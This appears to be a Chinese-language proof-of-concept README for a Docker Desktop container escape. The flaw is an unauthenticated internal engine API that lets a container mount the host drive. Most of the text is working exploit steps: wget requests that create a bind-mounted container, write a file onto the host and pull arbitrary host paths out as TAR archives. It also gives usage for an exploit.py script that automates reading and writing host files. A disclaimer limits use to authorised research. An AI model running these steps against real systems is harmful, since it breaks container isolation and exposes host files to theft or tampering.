Docker Desktop 将内部 Docker 引擎 API http://192.168.65.7:2375 暴露给 任何 正在运行的容器——没有身份验证,也没有访问控制。
由于引擎本身可以挂载宿主机文件系统,容器可以调用此 API 来创建一个绑定挂载宿主机驱动器的容器,然后利用该容器读写宿主机上的任意文件——实现完整的容器到宿主机逃逸。
http://192.168.65.7:2375 上的 Docker 引擎 API——无需任何凭据。POST /containers/create 请求,其中包含 Binds: ["/mnt/host:/host_root"],将宿主机驱动器挂载到新容器中。在 Docker VM 内部,宿主机文件系统暴露在 /mnt/host(例如 Windows 的 C: 驱动器位于 /mnt/host/c)。POST /containers/{id}/start 激活绑定挂载,从而获得宿主机完全访问权限。echo pwned > /host_root/c/test/pwn.txt)。GET /containers/{id}/archive?path=... 将宿主机上的任意路径以 TAR 归档形式流式返回——无需 shell。创建包含一些示例内容的 C:\test\readme.txt,以便读取演示有明确的目标文件。

docker run -it --rm alpine /bin/sh
以下所有手动步骤均在此容器内部运行(alpine 自带 wget)。
为 API 设置一个 shell 变量,以便后续命令更简短:
API=http://192.168.65.7:2375
目标:从容器内部在宿主机上创建 C:\test\pwn.txt。
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
发生了什么:
Binds: /mnt/host:/host_root 将宿主机驱动器挂载到新容器中。pwned 写入 C:\test\pwn.txt(即 /host_root/c/test/pwn.txt)。预期结果: 宿主机上现在存在 C:\test\pwn.txt。

目标:从容器内部读取宿主机上的 C:\test\readme.txt。
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
发生了什么:
GET /containers/{id}/archive?path=... 将宿主机上的任意路径以 TAR 归档形式流式返回——无需 shell。预期结果: 打印出 C:\test\readme.txt 的内容。

exploit.pyexploit.py 将上述两种流程自动化。它仅使用 Python 标准库,自动检测宿主机挂载路径(Windows /mnt/host/c 与 macOS/Linux /),并自动转换宿主机原生路径。
内部 API(
192.168.65.7:2375)只能从容器内部访问,因此请在一个安装了 Python 的容器中运行该脚本:
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
在 Windows PowerShell 中,使用 -v "${PWD}:/x";在 cmd.exe 中,使用 -v "%cd%:/x"。
python /x/exploit.py info
探测 API,检测宿主机操作系统,并列出宿主机挂载的顶层条目。
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
本 PoC 仅供授权测试、教育和研究使用。作者对滥用不承担任何责任。请仅针对您拥有或获准测试的系统运行。
本 PoC 与 README 源自 Felix Boulet 的研究。原始发现与分析的全部功劳归原作者所有。
本项目基于 MIT License 许可。
| 参数 |
|---|
| 用途 |
|---|
--api URL | 覆盖 API 端点(默认为 http://192.168.65.7:2375) |
--image NAME | 漏洞利用容器使用的镜像(默认为 alpine,若缺失会自动拉取) |
--vm-mount PATH | 跳过自动检测,强制指定 VM 内的宿主机挂载路径(例如 /mnt/host 或 /) |